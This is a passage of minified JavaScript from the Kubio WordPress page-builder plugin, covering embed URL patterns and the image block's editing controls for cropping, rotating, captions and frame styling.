video.","kubio")},patterns:[/^https?:\/\/wordpress\.tv\/.+/i]},{name:"core-embed/amazon-kindle",settings:{title:(0,We.__)("Amazon Kindle","kubio"),icon:Zb,keywords:[(0,We.__)("ebook","kubio")],responsive:!1,description:(0,We.__)("Embed Amazon Kindle content.","kubio")},patterns:[/^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,/^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i]}],ng=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.78",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],ag="core/embed",ig="core-embed/wordpress";var rg=o(6024),sg=o.n(rg),lg=o(9588);const ug=(e,t=[])=>t.some((t=>e.match(t))),cg=e=>(0,Ae.includes)(e,'class="wp-embedded-content"');o.n(lg)()(((e,t,o,n,a=!0)=>{if(!e)return{};const i={};let{type:r="rich"}=e;const{html:s,provider_name:l}=e,u=(0,Ae.kebabCase)((0,Ae.toLower)(""!==l?l:t));return cg(s)&&(r="wp-embed"),(s||"photo"===r)&&(i.type=r,i.providerNameSlug=u),i.className=function(e,t="",o=!0){if(!o){const e={"wp-has-aspect-ratio":!1};for(let t=0;t<ng.length;t++)e[ng[t].className]=!1;return sg()(t,e)}const n=document.implementation.createHTMLDocument("");n.body.innerHTML=e;const a=n.body.querySelector("iframe");if(a&&a.height&&a.width){const e=(a.width/a.height).toFixed(2);for(let n=0;n<ng.length;n++){const a=ng[n];if(e>=a.ratio)return sg()(t,{[a.className]:o,"wp-has-aspect-ratio":o})}}return t}(s,o,n&&a),i}));const pg="outer",dg="image",mg="overlay",hg="caption",bg="frameImage",gg="frameContainer",yg={[pg]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[dg]:{label:(0,We.__)("Image","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.BORDER]:{styleOthers:[bg,mg]}}}},[hg]:{label:(0,We.__)("Caption","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}}},kg=({computed:e})=>{const{alt:t,sizeSlug:o,frameType:n}=e;return{[pg]:{className:()=>({[`size-${o}`]:o})},[dg]:{src:null==e?void 0:e.url,alt:t},[bg]:{className:()=>({[`frame-type-${n}`]:n})}}},fg=["url","alt","id","caption","captionEnabled","sizeSlug","link"],_g=(e,t)=>{const o=(0,bt.useInheritedTextAlign)();return(0,Me.useMemo)((()=>{const t=e.getAttributes(fg),n=e.getAttribute("align",o),a=e.getStyle("background.overlay",{},{styledComponent:"overlay"}),i=je().get(a,"enabled");return{...t,align:n,showFrameImage:e.getPropInMedia("frame.enabled"),overlayEnabled:i,overlayBackground:a,frameType:e.getPropInMedia("frame.type")}}),[e,o])},vg=((0,De.compose)((0,Ne.withColibriData)(_g),(0,Ne.withStyledElements)(kg))((({StyledElements:e,computed:t})=>{const{caption:o,captionEnabled:n,link:a,showFrameImage:i,overlayEnabled:r,overlayBackground:s}=t;return(0,Je.jsx)(e.Outer,{children:(0,Je.jsxs)(e.CaptionContainer,{children:[(0,Je.jsx)(ut.LinkWrapper,{link:a,children:(0,Je.jsxs)(e.FrameContainer,{children:[r&&(0,Je.jsx)(e.Overlay,{children:(0,Je.jsx)(Ne.BackgroundOverlay,{value:s})}),(0,Je.jsx)(e.Image,{}),i&&(0,Je.jsx)(e.FrameImage,{})]})}),(0,Je.jsx)(e.Caption,{shouldRender:n,dangerouslySetInnerHTML:{__html:o}})]})})})),[{label:(0,We.__)("PX","kubio"),value:"px"}]),xg=[{label:(0,We.__)("%","kubio"),value:"%"}],Cg={BORDER:"border",BACKGROUND:"background"},Ig=[{label:(0,We.__)("Border","kubio"),value:Cg.BORDER},{label:(0,We.__)("Background","kubio"),value:Cg.BACKGROUND}],Eg={units:[{label:(0,We.__)("PX","kubio"),value:"px"}],unitsSettings:{px:{min:0,max:300,step:1}}};class Tg{constructor({colibriLink:e,gutenbergLink:t}){this.linkValues=ut.LinkConfig.linkOpen.values,e&&(this.colibriLink=e),t&&(this.gutenbergLink=t)}convertGutenbergToColibri(e={}){const t={};return je().each(e,((e,o)=>{switch(o){case"href":je().set(t,"value",e);break;case"linkTarget":let o=null;o="_blank"===e?this.linkValues.NEW_WINDOW:this.linkValues.SAME_WINDOW,je().set(t,"typeOpenLink",o);break;case"linkDestination":je().set(t,"linkDestination",e)}})),t}convertColibriToGutenberg(e={}){const t={};return je().each(e,((e,o)=>{switch(o){case"value":je().set(t,"href",e);break;case"typeOpenLink":let o=null;e===this.linkValues.NEW_WINDOW&&(o="_blank"),je().set(t,"linkTarget",o);break;case"linkDestination":je().set(t,"linkDestination",e)}})),t}get linkForGutenberg(){return this.gutenbergLink||(this.gutenbergLink=this.convertColibriToGutenberg(this.colibriLink)),this.gutenbergLink}get linkForColibri(){return this.colibriLink||(this.colibriLink=this.convertGutenbergToColibri(this.gutenbergLink)),this.colibriLink}}const Sg={opacityOptions:{min:0,max:1,step:.01},rotationSettings:{min:-180,max:180,step:1},borderThickenessOptions:{min:0,max:10,step:1},borderRadiusOptions:{min:0,max:300,step:1},dimensionsUnits:vg,marginTopOptions:{min:0,max:100,step:1},textAlignOptions:"center",frameTypeValues:Cg,frameTypeOptions:Ig,procentUnits:xg,procentUnitsOptions:{min:0,max:100,step:1},frameThicknessOptions:{min:1,max:50,step:1},frameOffsetTransformOptions:{min:-100,max:100,step:1},customSize:Eg},wg=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})}),Pg=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z"})}),Ag=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})}),jg=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"})}),Bg={position:"bottom right",isAlternate:!0};function Ng({aspectRatios:e,isDisabled:t,label:o,onClick:n,value:a}){return(0,Je.jsx)(Re.MenuGroup,{label:o,children:e.map((({title:e,aspect:o})=>(0,Je.jsx)(Re.MenuItem,{disabled:t,onClick:()=>{n(o)},role:"menuitemradio",isSelected:o===a,icon:o===a?wg:void 0,children:e},o)))})}function Og({toggleProps:e,isDisabled:t,onClick:o,value:n,defaultValue:a}){return(0,Je.jsx)(Re.DropdownMenu,{icon:Pg,label:(0,We.__)("Aspect Ratio","kubio"),popoverProps:Bg,toggleProps:e,className:"wp-block-image__aspect-ratio",children:({onClose:e})=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Ng,{isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,We.__)("Original","kubio"),aspect:a},{title:(0,We.__)("Square","kubio"),aspect:1}]}),(0,Je.jsx)(Ng,{label:(0,We.__)("Landscape","kubio"),isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,We.__)("16:10","kubio"),aspect:1.6},{title:(0,We.__)("16:9","kubio"),aspect:16/9},{title:(0,We.__)("4:3","kubio"),aspect:4/3},{title:(0,We.__)("3:2","kubio"),aspect:1.5}]}),(0,Je.jsx)(Ng,{label:(0,We.__)("Portrait","kubio"),isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,We.__)("10:16","kubio"),aspect:.625},{title:(0,We.__)("9:16","kubio"),aspect:9/16},{title:(0,We.__)("3:4","kubio"),aspect:3/4},{title:(0,We.__)("2:3","kubio"),aspect:2/3}]})]})})}function Rg({id:e,url:t,setAttributes:o,naturalWidth:n,naturalHeight:a,width:i,height:r,clientWidth:s,setIsEditingImage:l,currentSlug:u,ownerDocument:c=document}){const{createErrorNotice:p}=(0,Le.useDispatch)("core/notices"),[d,m]=(0,Me.useState)(!1),[h,b]=(0,Me.useState)(null),[g,y]=(0,Me.useState)({x:0,y:0}),[k,f]=(0,Me.useState)(100),[_,v]=(0,Me.useState)(n/a),[x,C]=(0,Me.useState)(0),[I,E]=(0,Me.useState)(),T=i;let S=r||s*a/n,w=n/a;x%180==90&&(S=s*n/a,w=a/n);const P=(0,Me.useCallback)((e=>{let t=e.source_url;u&&(t=je().get(e,["media_details","sizes",u,"source_url"])),o({id:e.id,url:t,height:r&&i?i/_:void 0})}),[u,r,i,_]);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)("div",{className:Ge()("wp-block-image__crop-area",{"is-applying":d}),style:{width:T,height:S},children:[(0,Je.jsx)(ut.Cropper,{image:I||t,disabled:d,minZoom:1,maxZoom:3,crop:g,zoom:k/100,aspect:_,onCropChange:y,onCropComplete:e=>{b(e)},onZoomChange:e=>{f(100*e)},ownerDocument:c}),d&&(0,Je.jsx)(Re.Spinner,{})]}),(0,Je.jsxs)(st.BlockControls,{children:[(0,Je.jsxs)(Re.ToolbarGroup,{children:[(0,Je.jsx)(Re.Dropdown,{contentClassName:"wp-block-image__zoom",popoverProps:Bg,renderToggle:({isOpen:e,onToggle:t})=>(0,Je.jsx)(Re.ToolbarButton,{icon:Ag,label:(0,We.__)("Zoom","kubio"),onClick:t,"aria-expanded":e,disabled:d}),renderContent:()=>(0,Je.jsx)(Re.RangeControl,{min:100,max:300,label:(0,We.__)("Zoom","kubio"),value:Math.round(k),onChange:f})}),(0,Je.jsx)(Re.ToolbarItem,{children:e=>(0,Je.jsx)(Og,{toggleProps:e,isDisabled:d,onClick:v,value:_,defaultValue:n/a})})]}),(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:jg,label:(0,We.__)("Rotate","kubio"),onClick:function(){const e=(x+90)%360;if(0===e)return E(),C(e),v(1/_),void y({x:-g.y*w,y:g.x*w});const o=new window.Image;o.src=t,o.onload=function(t){const o=document.createElement("canvas");let n=0,a=0;e%180?(o.width=t.target.height,o.height=t.target.width):(o.width=t.target.width,o.height=t.target.height),90!==e&&180!==e||(n=o.width),270!==e&&180!==e||(a=o.height);const i=o.getContext("2d");i.translate(n,a),i.rotate(e*Math.PI/180),i.drawImage(t.target,0,0),o.toBlob((t=>{E(URL.createObjectURL(t)),C(e),v(1/_),y({x:-g.y*w,y:g.x*w})}))}},disabled:d})}),(0,Je.jsxs)(Re.ToolbarGroup,{children:[(0,Je.jsx)(Re.ToolbarButton,{onClick:function(){m(!0);let o={};(h.width<99.9||h.height<99.9)&&(o=h),x>0&&(o.rotation=x),o.src=t,pt()({path:`/wp/v2/media/${e}/edit`,method:"POST",data:o}).then(P).catch((e=>{p((0,We.sprintf)(/* translators: 1. Error message */ /* translators: 1. Error message */(0,We.__)("Could not edit image. %s","kubio"),e.message),{id:"image-editing-error",type:"snackbar"})})).finally((()=>{m(!1),l(!1)}))},disabled:d,children:(0,We.__)("Apply","kubio")}),(0,Je.jsx)(Re.ToolbarButton,{onClick:()=>l(!1),children:(0,We.__)("Cancel","kubio")})]})]})]})}const Dg=({computed:e})=>{const{withDataBinds:t}=e;return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(st.BlockAlignmentToolbar,{value:t.align.value,onChange:t.align.onChange,controls:["none","left","center","right"]})})},Lg=(e,t)=>!e&&(0,Db.isBlobURL)(t),Mg={width:null,height:null},Wg=["url","alt","id","caption","captionEnabled","sizeSlug","link"],Hg=(0,De.compose)((0,Ne.withColibriDataAutoSave)([_g,(e,t)=>{const o=(0,bt.useInheritedTextAlign)(e);return(0,Me.useMemo)((()=>{const t={...e.useAttributes(Wg),overlayEnabled:e.getStyle("background.overlay.enabled",!1,{styledComponent:mg}),frameImage:e.getPropInMedia("frame"),useCustomDimensions:e.usePropPath("useCustomDimensions"),align:{value:e.getAttribute("align",o),onChange:t=>{const o=t||"none";e.setAttribute("align",o),e.setStyle("textAlign",o,{styledComponent:pg})}}};return{...e.getAttributes(Wg),maxWidth:e.getStyle("maxWidth",null,{styledComponent:dg}),maxHeight:e.getStyle("maxHeight",null,{styledComponent:dg}),withDataBinds:t,frameImageEnabledByMedia:e.getPropByMedia("frame.enabled",!1)}}),[e,o])}]),(0,Ne.withStyledElements)(kg,(({computed:e,isSelected:t,className:o})=>{const{url:n,width:a,height:i,align:r,alt:s,sizeSlug:l}=e;return{[pg]:{className:()=>{const e=(e=>[`align-items-${e}`])(r);return Ge()(o,{"is-transient":(0,Db.isBlobURL)(n),"is-resized":!!a||!!i,"is-focused":t,[`size-${l}`]:l},e)}},[dg]:{alt:s}}})),Re.withNotices),Gg=Hg((e=>{const{computed:t,StyledElements:o,dataHelper:n,setAttributes:a,isSelected:i,insertBlocksAfter:r,onReplace:s,noticeUI:l,noticeOperations:u}=e,{url:c,align:p,width:d,height:m,maxWidth:h,maxHeight:b,caption:g,captionEnabled:y,alt:k,id:f,sizeSlug:_,link:v,overlayBackground:x,withDataBinds:C,frameImageEnabledByMedia:I}=t,E=new Tg({colibriLink:v}),{linkDestination:T}=E.linkForGutenberg,[{naturalWidth:S,naturalHeight:w},P]=((0,De.useViewportMatch)("medium"),(0,Ae.includes)(["wide","full"],p),(0,Me.useState)({})),[A,j]=(0,Me.useState)(!1),B=(0,Me.useRef)(),[N,O]=(0,Me.useState)(Mg),R=(0,Me.useRef)();let{clientWidth:D,calculateClientWidth:L}=function(e){const[t,o]=(0,Me.useState)(),[n,a]=(0,Me.useState)(),i=(0,De.useDebounce)((0,Me.useCallback)((t=>{var n;e.current||t.disconnect(),void 0!==(null===(n=e.current)||void 0===n?void 0:n.clientWidth)&&o(e.current.clientWidth)}),[]),100);return(0,Me.useLayoutEffect)((()=>{if(!e.current)return;const t=new ResizeObserver((()=>i(t)));return t.observe(e.current),()=>{t.disconnect()}}),[]),(0,Me.useLayoutEffect)((()=>{a(t)}),[t]),{clientWidth:n,calculateClientWidth:i}}(R);const M=(0,Le.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return t().mediaUpload}));function W(e){u.removeAllNotices(),u.createErrorNotice(e)}function H(e){if(!e||!e.url)return void n.setAttributes({url:"",alt:"",id:"",title:"",caption:""});let t,o=(e=>{const t=(0,Ae.pick)(e,["alt","id","caption"]);return t.url=(0,Ae.get)(e,["sizes",Hs,"url"])||(0,Ae.get)(e,["media_details","sizes",Hs,"source_url"])||e.url,t})(e);Lg(f,c)&&k&&(o=(0,Ae.omit)(o,["alt"])),g&&!(0,Ae.get)(o,["caption"])&&(o=(0,Ae.omit)(o,["caption"])),t=e.id&&e.id===f?{url:c}:{sizeSlug:Hs},"media"===T&&(o.href=e.url),"attachment"===T&&(o.href=e.link),n.setAttributes({...o,...t})}function G(e){e!==c&&n.setAttributes({url:e,id:"",sizeSlug:Hs})}(0,Me.useEffect)((()=>{A&&j(!1)}),[h,b,_]);const U=Lg(f,c);(0,Me.useEffect)((()=>{if(!U)return;const e=(0,Db.getBlobByURL)(c);e&&M({filesList:[e],onFileChange:([e])=>{H(e)},allowedTypes:Ws,onError:e=>{u.createErrorNotice(e)}})}),[]),(0,Me.useEffect)((()=>{if(U)return()=>{(0,Db.revokeBlobURL)(c)}}),[U]);const F=((e,t)=>t&&!e&&!(0,Db.isBlobURL)(t))(f,c);(0,Me.useEffect)((()=>{F&&f&&n.setAttribute("id","")}),[F]);const z=F?c:void 0,V=!!c&&(0,Je.jsx)("img",{alt:(0,We.__)("Edit image","kubio"),title:(0,We.__)("Edit image","kubio"),className:"edit-image-preview",src:c}),Y=(0,Je.jsx)(st.MediaPlaceholder,{icon:(0,Je.jsx)(st.BlockIcon,{icon:wa}),onSelect:H,onSelectURL:G,notices:l,onError:W,accept:"image/*",allowedTypes:Ws,value:{id:f,src:z},mediaPreview:V,disableMediaButtons:c});function $(){const e=((e,t)=>{const{preview:o,name:n}=e,{url:a}=e.attributes;if(!a)return;const i=(e=>{for(const t of[...tg,...og])if(ug(e,t.patterns))return t.name;return ag})(a);if((0,gt.getBlockType)(i)){if(ig!==n&&ag!==i&&n!==i)return(0,gt.createBlock)(i,{url:a});if(o){const{html:e}=o;if(cg(e)&&ig!==n)return(0,gt.createBlock)(ig,{url:a,...t})}}})({attributes:{url:c}});void 0!==e&&s(e)}(0,Me.useEffect)((()=>{i&&L()}),[i]),(0,Me.useEffect)((()=>{i||j(!1)}),[i]);const K=!!f&&!!S&&!!w,q=(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(st.BlockControls,{children:[!!K&&!A&&(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{onClick:function(){!function(){if(!h&&!b)return void O((0,Ae.cloneDeep)(Mg));const e=null==R?void 0:R.current;if(!e)return;const t=e.querySelector("img");if(!t)return;const o=t.width,n=t.height;O({width:o,height:n})}(),j(!0)},icon:Lb,label:(0,We.__)("Crop","kubio")})}),!A&&(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(st.MediaReplaceFlow,{mediaId:f,mediaURL:c,allowedTypes:Ws,accept:"image/*",onSelect:H,onSelectURL:G,onError:W})})]})}),X=(0,Je.jsx)(st.MediaUploadCheck,{children:(0,Je.jsx)(st.MediaUpload,{onSelect:H,allowedTypes:Ws,value:f,render:({open:e})=>(0,Je.jsx)("span",{ref:B,onClick:e,className:"kubio-image-media-picker",role:"button",tabIndex:-1})})});function Q(){const e=null==B?void 0:B.current;e&&e.click()}const Z=(0,Je.jsx)(o.FrameImage,{}),J=(0,Je.jsx)(o.Overlay,{children:(0,Je.jsx)(Ne.BackgroundOverlay,{value:x})}),ee=(0,Ne.useRootElementContext)(),te=null==ee?void 0:ee.ownerDocument,oe=I[(0,Ne.useActiveMedia)()];let ne,ae,ie=(0,Me.useMemo)((()=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.LinkWrapper,{link:v,children:(0,Je.jsxs)(o.FrameContainer,{onDoubleClick:Q,children:[C.overlayEnabled&&J,(0,Je.jsx)(o.Image,{onError:$,onLoad:e=>{L(),P((0,Ae.pick)(e.target,["naturalWidth","naturalHeight"]))}}),oe&&Z]})}),X]})),[c,C.overlayEnabled,oe,x,C.frameImage]);if(D&&S&&w){const e=S>D;ne=e?D:S,ae=e?D*(w/S):w}const re=({nextWidth:e,nextHeight:t,...o})=>{a(o)};if(K&&A){let e,t;null!=N&&N.width?(e=null==N?void 0:N.width,D=e):e=d&&"auto"!==d?d:ne,t=null!=N&&N.height?null==N?void 0:N.height:m&&"auto"!==m?m:ae,ie=(0,Je.jsx)(Rg,{id:f,url:c,setAttributes:re,naturalWidth:S,naturalHeight:w,width:e,height:t,clientWidth:e,setIsEditingImage:j,ownerDocument:te,currentSlug:_})}const se=(0,Ne.useBlockElementProps)(hg),le=C.caption.onChange,ue=(0,Je.jsxs)(Je.Fragment,{children:[q,(0,Je.jsxs)(o.CaptionContainer,{children:[ie,y&&(0,Je.jsx)(st.RichText,{...se,tagName:"figcaption",placeholder:(0,We.__)("Write captionβ¦","kubio"),value:g,onChange:le,inlineToolbar:!0,__unstableOnSplitAtEnd:()=>r((0,gt.createBlock)("core/paragraph")),allowedFormats:Ne.allowedRichTextFormats})]})]});return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Dg,{computed:t}),(0,Je.jsxs)(o.Outer,{ref:R,children:[c&&ue,Y]})]})})),Ug=(0,Ne.withComputedData)((e=>{const t=(0,bt.useInheritedTextAlign)(),o=e.getAttribute("id");let n=(0,Ne.useImageSize)(o);n.length<1&&(n=[{value:"full",label:(0,We.__)("Original Size","kubio")}]);const a=(0,Le.useSelect)((e=>{const{getMedia:t}=e("core");return o?t(o):null}),[o]),i=(t,o={})=>{e.setAttribute("align",t,o),e.setStyle("textAlign",t,{styledComponent:pg,...o})},r={value:e.getAttribute("align",t),onChange:i,onReset:()=>i("",{unset:!0})},s=e.getAttribute("url"),l={value:s?e.getAttribute("sizeSlug"):null,onChange:t=>{const o=((e,t)=>(0,Ae.get)(e,["media_details","sizes",t,"source_url"]))(a,t);if(!o)return null;e.setAttributes({url:o,sizeSlug:t})}},u=t=>({value:e.getStyle(t,null,{styledComponent:dg}),onReset:()=>{e.setStyle(t,Be.UNSET_VALUE,{styledComponent:dg}),e.setStyle(t,Be.UNSET_VALUE,{styledComponent:gg})},onChange:o=>{e.setStyle(t,o,{styledComponent:dg}),e.setStyle(t,o,{styledComponent:gg})}}),c=u("maxWidth"),p=u("maxHeight");return{url:s,caption:e.getAttribute("caption"),captionEnabled:e.getAttribute("captionEnabled"),captionProperties:(()=>{const t=e.getAttribute("caption",null);return{value:(0,Ae.unescape)(t),onChange:t=>{e.setAttribute("caption",(0,Ae.escape)(t))}}})(),imageSizeOptions:n,onImageChange:t=>{const{url:o,caption:n,id:a}=t;e.setAttributes({url:o,caption:n,id:a,sizeSlug:Hs})},align:r,sizeSlug:l,maxHeight:p,maxWidth:c}}))((({computed:e,...t})=>{const{captionProperties:o,url:n,captionEnabled:a,onImageChange:i,imageSizeOptions:r,align:s,sizeSlug:l,maxWidth:u,maxHeight:c}=e,{clientData:p}=t;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Image Properties","kubio"),children:[(0,Je.jsx)(ut.MediaPicker,{label:(0,We.__)("Image","kubio"),value:n,onChange:i,showButton:!0,buttonLabel:(0,We.__)("Change image","kubio"),mediaId:p.attributes.id}),(0,Je.jsx)(ut.HorizontalTextAlign,{label:(0,We.__)("Horizontal align","kubio"),...s}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show caption","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"captionEnabled"}),a&&(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Caption","kubio"),...o}),(0,Je.jsx)(ut.TextareaControlWithPath,{path:"alt",type:Ne.WithDataPathTypes.ATTRIBUTE,label:(0,We.__)("Alt text","kubio")}),(null==l?void 0:l.value)&&(0,Je.jsxs)(Re.Flex,{justify:"space-between",expanded:!0,children:[(0,Je.jsx)(Re.FlexItem,{className:"image-size-row-dropdown",children:(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Image size","kubio"),...l,options:r})}),(0,Je.jsx)(Re.FlexItem,{className:"image-size-row-cog",children:(0,Je.jsx)(ut.PopoverOptionsButton,{label:"",popoverWidth:250,popupContent:(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)("div",{className:"h-dummy-focus-control",children:(0,Je.jsxs)(Re.BaseControl,{children:[(0,Je.jsx)(ut.ToggleControl,{}),(0,Je.jsx)(Re.BaseControl,{})]})}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Max width","kubio"),max:500,capMin:!0,units:["px"],...u}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Max height","kubio"),path:"maxWidth",max:500,capMin:!0,units:["px"],...c})]})})})]}),(0,Je.jsx)(ut.LinkControlWithData,{})]})})),Fg=Ug,zg=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Fg,{})}),Vg=(0,Ne.withComputedData)((e=>({dataHelper:e})))((({computed:e}=props)=>{const t={type:Ne.WithDataPathTypes.STYLE,style:dg};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Image","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Opacity","kubio"),path:"opacity",capMin:!0,capMax:!0,defaultUnit:"",defaultValue:{value:1},...Sg.opacityOptions,...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...t,style:[dg,mg]})]})})),Yg=Vg,$g=(0,Ne.withComputedData)((e=>{const t=(0,bt.useInheritedTextAlign)();return{defaultTextAlign:e.getStyle("textAlign",t,{styledElement:pg}),captionEnabled:e.getAttribute("captionEnabled")}}))((({computed:e})=>{const{captionEnabled:t,defaultTextAlign:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:hg},a=(0,bt.useInheritedTypographyValue)("p","color");return t&&(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Caption","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",label:(0,We.__)("Text align","kubio"),useContentAlignIcons:!1,defaultValue:o,...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",defaultValue:a,...n}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Space","kubio"),path:"margin.top",capMax:!1,min:0,max:50,...n})]})})),Kg=$g,qg={styledComponent:bg},Xg=(e,t,o)=>{const n={};["left","right","bottom","top"].forEach((o=>{je().set(n,`${o}.${e}`,t)})),o.setStyle("border",n,qg)},Qg=({computed:e})=>{const{width:t,height:o,frameTypeIs:n,frameOverImage:a,frameType:i,color:r,offsetLeft:s,offsetTop:l,frameThickness:u,dataHelper:c,isOnDesktop:p}=e,d={type:Ne.WithDataPathTypes.STYLE,style:bg};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Type","kubio"),...i,disabled:!p,options:Sg.frameTypeOptions}),(0,Je.jsx)(ut.ColorIndicatorPopover,{label:(0,We.__)("Color","kubio"),showReset:!0,...r}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Width","kubio"),path:"width",defaultUnit:"%",...Sg.procentUnitsOptions,...d,...t}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Height","kubio"),path:"height",defaultUnit:"%",...Sg.procentUnitsOptions,...d,...o}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Offset left","kubio"),...Sg.frameOffsetTransformOptions,...s}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Offset top","kubio"),...Sg.frameOffsetTransformOptions,...l}),n.border&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Frame thickness","kubio"),path:["border.top.width","border.right.width","border.bottom.width","border.left.width"],...Sg.frameThicknessOptions,...d,...u}),(0,Je.jsx)(Re.ToggleControl,{className:"kubio-toggle-control",label:(0,We.__)("Show frame over image","kubio"),checked:a.value,onChange:a.onChange}),(0,Je.jsx)(ut.BoxShadowPopupWithPath,{label:(0,We.__)("Show frame shadow","kubio"),path:"boxShadow",allowInset:!0,showReset:!1,dataHelper:c,...d})]})},Zg=(0,Ne.withComputedData)((e=>{var t;const o="desktop"===(0,Ne.useActiveMedia)(),n=(0,Ne.useTransformStyle)(e),a=h("transform.translate[0].value"),i=n.useStylePath("transform.translate.x",{unsetValue:a,styledComponent:bg}),r=n.useStylePath("transform.translate.y",{unsetValue:a,styledComponent:bg}),s=e.usePropPath("frame",{},"border"),l={onChange:t=>{switch(e.setProp("frame.type",t),t){case Sg.frameTypeValues.BORDER:const t=e.getStyle("background.color","",qg);Xg("color",t,e),Xg("style","solid",e),e.setStyle("background.color","transparent",qg);break;case 